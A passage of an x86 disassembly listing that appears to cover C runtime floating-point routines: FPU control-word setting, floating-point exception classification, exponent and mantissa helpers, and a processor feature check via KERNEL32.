fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_4214AB
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420F2B: ; CODE XREF: sub_420EF6+Aj
push 0FFFFh
mov dword_4D9714, 21h
push [ebp+arg_C]
call sub_42171E
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_420EF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_420F49(int,int,double,double,int)
sub_420F49 proc near ; CODE XREF: sub_41CDE5:loc_41CEA8p
; sub_41CF2B:loc_41CFEEp
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_421294
add esp, 0Ch
test eax, eax
jnz short loc_420F87
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_420FE1
add esp, 18h
loc_420F87: ; CODE XREF: sub_420F49+1Aj
push [ebp+arg_0]
call sub_42157E
cmp dword_43B000, 0
pop ecx
jnz short loc_420FC5
test eax, eax
jz short loc_420FC5
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_4214AB
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_420FC5: ; CODE XREF: sub_420F49+4Ej
; sub_420F49+52j
push eax
call sub_421533
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_42171E
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_420F49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420FE1 proc near ; CODE XREF: sub_420F49+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_421013
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_421013: ; CODE XREF: sub_420FE1+23j
test cl, 2
jz short loc_421026
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_421026: ; CODE XREF: sub_420FE1+35j
test cl, bl
jz short loc_421038
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_421038: ; CODE XREF: sub_420FE1+47j
test cl, 4
jz short loc_42104B
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_42104B: ; CODE XREF: sub_420FE1+5Aj
test cl, 8
jz short loc_42105E
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_42105E: ; CODE XREF: sub_420FE1+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_421701
test al, bl
jz short loc_4210E7
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_4210E7: ; CODE XREF: sub_420FE1+FDj
test al, 4
jz short loc_4210F2
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_4210F2: ; CODE XREF: sub_420FE1+108j
test al, 8
jz short loc_4210FD
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_4210FD: ; CODE XREF: sub_420FE1+113j
test al, 10h
jz short loc_421107
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_421107: ; CODE XREF: sub_420FE1+11Ej
test al, 20h
jz short loc_421111
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_421111: ; CODE XREF: sub_420FE1+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_421150
cmp eax, 400h
jz short loc_421142
cmp eax, 800h
jz short loc_421136
cmp eax, ecx
jnz short loc_421156
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_421156
; ---------------------------------------------------------------------------
loc_421136: ; CODE XREF: sub_420FE1+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_42114C
; ---------------------------------------------------------------------------
loc_421142: ; CODE XREF: sub_420FE1+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_42114C: ; CODE XREF: sub_420FE1+15Fj
mov [eax], ecx
jmp short loc_421156
; ---------------------------------------------------------------------------
loc_421150: ; CODE XREF: sub_420FE1+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_421156: ; CODE XREF: sub_420FE1+14Bj
; sub_420FE1+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_421181
cmp eax, 200h
jz short loc_421174
cmp eax, ecx
jnz short loc_42118E
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_42118E
; ---------------------------------------------------------------------------
loc_421174: ; CODE XREF: sub_420FE1+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_42118C
; ---------------------------------------------------------------------------
loc_421181: ; CODE XREF: sub_420FE1+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_42118C: ; CODE XREF: sub_420FE1+19Ej
mov [eax], ecx
loc_42118E: ; CODE XREF: sub_420FE1+189j
; sub_420FE1+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_42170F
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
nop
call near ptr 264135Bh
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_421208
and dword ptr [esi], 0FFFFFFFEh
loc_421208: ; CODE XREF: sub_420FE1+222j
test byte ptr [eax+8], 8
jz short loc_421211
and dword ptr [esi], 0FFFFFFFBh
loc_421211: ; CODE XREF: sub_420FE1+22Bj
test byte ptr [eax+8], 4
jz short loc_42121A
and dword ptr [esi], 0FFFFFFF7h
loc_42121A: ; CODE XREF: sub_420FE1+234j
test byte ptr [eax+8], 2
jz short loc_421223
and dword ptr [esi], 0FFFFFFEFh
loc_421223: ; CODE XREF: sub_420FE1+23Dj
test [eax+8], bl
jz short loc_42122B
and dword ptr [esi], 0FFFFFFDFh
loc_42122B: ; CODE XREF: sub_420FE1+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_42125F
dec ecx
jz short loc_421253
dec ecx
jz short loc_421249
dec ecx
jnz short loc_421261
or byte ptr [esi+1], 0Ch
jmp short loc_421261
; ---------------------------------------------------------------------------
loc_421249: ; CODE XREF: sub_420FE1+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_42125B
; ---------------------------------------------------------------------------
loc_421253: ; CODE XREF: sub_420FE1+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_42125B: ; CODE XREF: sub_420FE1+270j
mov [esi], ecx
jmp short loc_421261
; ---------------------------------------------------------------------------
loc_42125F: ; CODE XREF: sub_420FE1+257j
and [esi], edx
loc_421261: ; CODE XREF: sub_420FE1+260j
; sub_420FE1+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_421281
dec ecx
jz short loc_421278
dec ecx
jnz short loc_42128A
and [esi], edx
jmp short loc_42128A
; ---------------------------------------------------------------------------
loc_421278: ; CODE XREF: sub_420FE1+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_421288
; ---------------------------------------------------------------------------
loc_421281: ; CODE XREF: sub_420FE1+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_421288: ; CODE XREF: sub_420FE1+29Ej
mov [esi], ecx
loc_42128A: ; CODE XREF: sub_420FE1+291j
; sub_420FE1+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_420FE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421294 proc near ; CODE XREF: sub_420F49+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_4212BF
test byte ptr [ebp+arg_8], bl
jz short loc_4212BF
push ebx
call sub_421741
pop ecx
and edi, 0FFFFFFF7h
jmp loc_421489
; ---------------------------------------------------------------------------
loc_4212BF: ; CODE XREF: sub_421294+15j
; sub_421294+1Aj
test al, 4
jz short loc_4212D9
test byte ptr [ebp+arg_8], 4
jz short loc_4212D9
push 4
call sub_421741
pop ecx
and edi, 0FFFFFFFBh
jmp loc_421489
; ---------------------------------------------------------------------------
loc_4212D9: ; CODE XREF: sub_421294+2Dj
; sub_421294+33j
test al, bl
jz loc_4213B3
test byte ptr [ebp+arg_8], 8
jz loc_4213B3
push 8
call sub_421741
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_42138B
cmp ecx, 400h
jz short loc_421363
cmp ecx, 800h
jz short loc_42133B
cmp ecx, eax
jnz loc_4213AB
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427848
fld dbl_43ABF8
fnstsw ax
sahf
ja short loc_421333
fchs
loc_421333: ; CODE XREF: sub_421294+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_4213A9
; ---------------------------------------------------------------------------
loc_42133B: ; CODE XREF: sub_421294+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427848
fnstsw ax
sahf
jbe short loc_421353
fld dbl_43ABE8
jmp short loc_42135B
; ---------------------------------------------------------------------------
loc_421353: ; CODE XREF: sub_421294+B5j
fld dbl_43ABF8
fchs
loc_42135B: ; CODE XREF: sub_421294+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_4213A9
; ---------------------------------------------------------------------------
loc_421363: ; CODE XREF: sub_421294+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427848
fnstsw ax
sahf
jbe short loc_42137B
fld dbl_43ABF8
jmp short loc_421383
; ---------------------------------------------------------------------------
loc_42137B: ; CODE XREF: sub_421294+DDj
fld dbl_43ABE8
fchs
loc_421383: ; CODE XREF: sub_421294+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_4213A9
; ---------------------------------------------------------------------------
loc_42138B: ; CODE XREF: sub_421294+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427848
fld dbl_43ABE8
fnstsw ax
sahf
ja short loc_4213A3
fchs
loc_4213A3: ; CODE XREF: sub_421294+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_4213A9: ; CODE XREF: sub_421294+A5j
; sub_421294+CDj ...
fstp qword ptr [ecx]
loc_4213AB: ; CODE XREF: sub_421294+81j
and edi, 0FFFFFFFEh
jmp loc_421489
; ---------------------------------------------------------------------------
loc_4213B3: ; CODE XREF: sub_421294+47j
; sub_421294+51j
test al, 2
jz loc_421489
test byte ptr [ebp+arg_8], 10h
jz loc_421489
push esi
xor esi, esi
test al, 10h
jz short loc_4213CE
mov esi, ebx
loc_4213CE: ; CODE XREF: sub_421294+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_427848
fnstsw ax
sahf
jz loc_421477
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_421640
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_421419
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_42146D
; ---------------------------------------------------------------------------
loc_421419: ; CODE XREF: sub_421294+17Aj
fld [ebp+var_C]
fcomp dbl_427848
fnstsw ax
sahf
jnb short loc_42142B
mov edx, ebx
jmp short loc_42142D
; ---------------------------------------------------------------------------
loc_42142B: ; CODE XREF: sub_421294+191j
xor edx, edx
loc_42142D: ; CODE XREF: sub_421294+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_421461
sub eax, ecx
loc_421444: ; CODE XREF: sub_421294+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_42144F
test esi, esi
jnz short loc_42144F
mov esi, ebx
loc_42144F: ; CODE XREF: sub_421294+1B3j
; sub_421294+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_42145B
or byte ptr [ebp+var_C+3], 80h
loc_42145B: ; CODE XREF: sub_421294+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_421444
loc_421461: ; CODE XREF: sub_421294+1ACj
test edx, edx
jz short loc_42146D
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_42146D: ; CODE XREF: sub_421294+183j
; sub_421294+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_421479
; ---------------------------------------------------------------------------
loc_421477: ; CODE XREF: sub_421294+14Ej
mov esi, ebx
loc_421479: ; CODE XREF: sub_421294+1E1j
test esi, esi
pop esi
jz short loc_421486
push 10h
call sub_421741
pop ecx
loc_421486: ; CODE XREF: sub_421294+1E8j
and edi, 0FFFFFFFDh
loc_421489: ; CODE XREF: sub_421294+26j
; sub_421294+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_4214A0
test byte ptr [ebp+arg_8], 20h
jz short loc_4214A0
push 20h
call sub_421741
pop ecx
and edi, 0FFFFFFEFh
loc_4214A0: ; CODE XREF: sub_421294+1F9j
; sub_421294+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_421294 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4214AB(int,int,int,int,int,int,double,int)
sub_4214AB proc near ; CODE XREF: sub_420EF6+2Bp
; sub_420F49+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_421559
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_421516
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_42171E
lea eax, [ebp+var_20]
push eax
call sub_423F2D
add esp, 0Ch
test eax, eax
jnz short loc_421510
push esi
call sub_421533
pop ecx
loc_421510: ; CODE XREF: sub_4214AB+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_421516: ; CODE XREF: sub_4214AB+14j
push 0FFFFh
push [ebp+arg_20]
call sub_42171E
push [ebp+arg_0]
call sub_421533
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_4214AB endp
; =============== S U B R O U T I N E =======================================
sub_421533 proc near ; CODE XREF: sub_420F49+7Dp
; sub_4214AB+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_42154E
jle short locret_421558
cmp eax, 3
jg short locret_421558
mov dword_4D9714, 22h
retn
; ---------------------------------------------------------------------------
loc_42154E: ; CODE XREF: sub_421533+7j
mov dword_4D9714, 21h
locret_421558: ; CODE XREF: sub_421533+9j
; sub_421533+Ej
retn
sub_421533 endp
; =============== S U B R O U T I N E =======================================
sub_421559 proc near ; CODE XREF: sub_4214AB+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43AB10
loc_421560: ; CODE XREF: sub_421559+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_421576
add eax, 8
inc ecx
cmp eax, offset dbl_43ABE8
jl short loc_421560
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_421576: ; CODE XREF: sub_421559+Dj
mov eax, off_43AB14[ecx*8]
retn
sub_421559 endp
; =============== S U B R O U T I N E =======================================
sub_42157E proc near ; CODE XREF: sub_420F49+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_42158A
push 5
jmp short loc_4215A0
; ---------------------------------------------------------------------------
loc_42158A: ; CODE XREF: sub_42157E+6j
test al, 8
jz short loc_421592
push 1
jmp short loc_4215A0
; ---------------------------------------------------------------------------
loc_421592: ; CODE XREF: sub_42157E+Ej
test al, 4
jz short loc_42159A
push 2
jmp short loc_4215A0
; ---------------------------------------------------------------------------
loc_42159A: ; CODE XREF: sub_42157E+16j
test al, 1
jz short loc_4215A2
push 3
loc_4215A0: ; CODE XREF: sub_42157E+Aj
; sub_42157E+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_4215A2: ; CODE XREF: sub_42157E+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_42157E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4215AB(double)
sub_4215AB proc near ; CODE XREF: sub_41CDE5:loc_41CE6Bp
; sub_41CF2B:loc_41CFB1p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_4215AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4215BD(double,int)
sub_4215BD proc near ; CODE XREF: sub_421640+82p
; sub_421640+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_4215BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4215E6 proc near ; CODE XREF: sub_41CDE5+31p
; sub_41CF2B+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_4215FD
cmp [ebp+arg_0], edx
jnz short loc_42160F
push 1
jmp short loc_421639
; ---------------------------------------------------------------------------
loc_4215FD: ; CODE XREF: sub_4215E6+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_42160F
cmp [ebp+arg_0], edx
jnz short loc_42160F
push 2
jmp short loc_421639
; ---------------------------------------------------------------------------
loc_42160F: ; CODE XREF: sub_4215E6+11j
; sub_4215E6+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_421622
push 3
jmp short loc_421639
; ---------------------------------------------------------------------------
loc_421622: ; CODE XREF: sub_4215E6+36j
cmp cx, 7FF0h
jnz short loc_42163C
test [ebp+arg_4], 7FFFFh
jnz short loc_421637
cmp [ebp+arg_0], edx
jz short loc_42163C
loc_421637: ; CODE XREF: sub_4215E6+4Aj
push 4
loc_421639: ; CODE XREF: sub_4215E6+15j
; sub_4215E6+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42163C: ; CODE XREF: sub_4215E6+41j
; sub_4215E6+4Fj
xor eax, eax
pop ebp
retn
sub_4215E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421640(double,int)
sub_421640 proc near ; CODE XREF: sub_421294+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_427848
push esi
fnstsw ax
sahf
jnz short loc_421660
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_4216F6
; ---------------------------------------------------------------------------
loc_421660: ; CODE XREF: sub_421640+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_4216CF
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_421678
cmp dword ptr [ebp+arg_0], ecx
jz short loc_4216CF
loc_421678: ; CODE XREF: sub_421640+31j
fld [ebp+arg_0]
fcomp dbl_427848
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_421690
push 1
pop eax
jmp short loc_421692
; ---------------------------------------------------------------------------
loc_421690: ; CODE XREF: sub_421640+49j
xor eax, eax
loc_421692: ; CODE XREF: sub_421640+4Ej
; sub_421640+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_4216AB
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_4216A5
or dword ptr [ebp+arg_0+4], 1
loc_4216A5: ; CODE XREF: sub_421640+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_421692
; ---------------------------------------------------------------------------
loc_4216AB: ; CODE XREF: sub_421640+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_4216B9
or byte ptr [ebp+arg_0+7], 80h
loc_4216B9: ; CODE XREF: sub_421640+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_4215BD
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_4216F6
; ---------------------------------------------------------------------------
loc_4216CF: ; CODE XREF: sub_421640+28j
; sub_421640+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_4215BD
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_4216F6: ; CODE XREF: sub_421640+1Bj
; sub_421640+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_421640 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421701 proc near ; CODE XREF: sub_420FE1+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_421701 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42170F proc near ; CODE XREF: sub_420FE1+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_42170F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42171E proc near ; CODE XREF: sub_41CDE5+13p
; sub_41CDE5+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_42171E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421741 proc near ; CODE XREF: sub_421294+1Dp
; sub_421294+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_421758
fld tbyte_43AC10
fistp [ebp+arg_0]
wait
loc_421758: ; CODE XREF: sub_421741+Bj
test cl, 8
jz short loc_42176D
fstsw ax
fld tbyte_43AC10
fstp [ebp+var_8]
wait
fstsw ax
loc_42176D: ; CODE XREF: sub_421741+1Aj
test cl, 10h
jz short loc_42177C
fld tbyte_43AC1C
fstp [ebp+var_8]
wait
loc_42177C: ; CODE XREF: sub_421741+2Fj
test cl, 4
jz short loc_42178A
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_42178A: ; CODE XREF: sub_421741+3Ej
test cl, 20h
jz short locret_421795
fldpi
fstp [ebp+var_8]
wait
locret_421795: ; CODE XREF: sub_421741+4Cj
leave
retn
sub_421741 endp
; =============== S U B R O U T I N E =======================================
sub_421797 proc near ; CODE XREF: sub_41CEB4+Fp
push 30000h
push 10000h
call sub_423F65
pop ecx
pop ecx
retn
sub_421797 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217A9 proc near ; CODE XREF: sub_4217E7:loc_42180Bj
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_427858
fstp [ebp+var_8]
fld dbl_427850
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_427710
fnstsw ax
sahf
jbe short loc_4217E3
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_4217E3: ; CODE XREF: sub_4217A9+33j
xor eax, eax
leave
retn
sub_4217A9 endp
; =============== S U B R O U T I N E =======================================
sub_4217E7 proc near ; CODE XREF: sub_41CEB4+5p
push offset aKernel32 ; "KERNEL32"
nop
call near ptr 26906BCh
test eax, eax
jz short loc_42180B
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
nop
call near ptr 26C0000h
test eax, eax
jz short loc_42180B
push 0
call eax ; sub_41CEB4
retn
; ---------------------------------------------------------------------------
loc_42180B: ; CODE XREF: sub_4217E7+Dj
; sub_4217E7+1Dj
jmp sub_4217A9
sub_4217E7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_421810 proc near ; CODE XREF: sub_41F5D4+3CBp
; DATA XREF: sub_41CECC+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
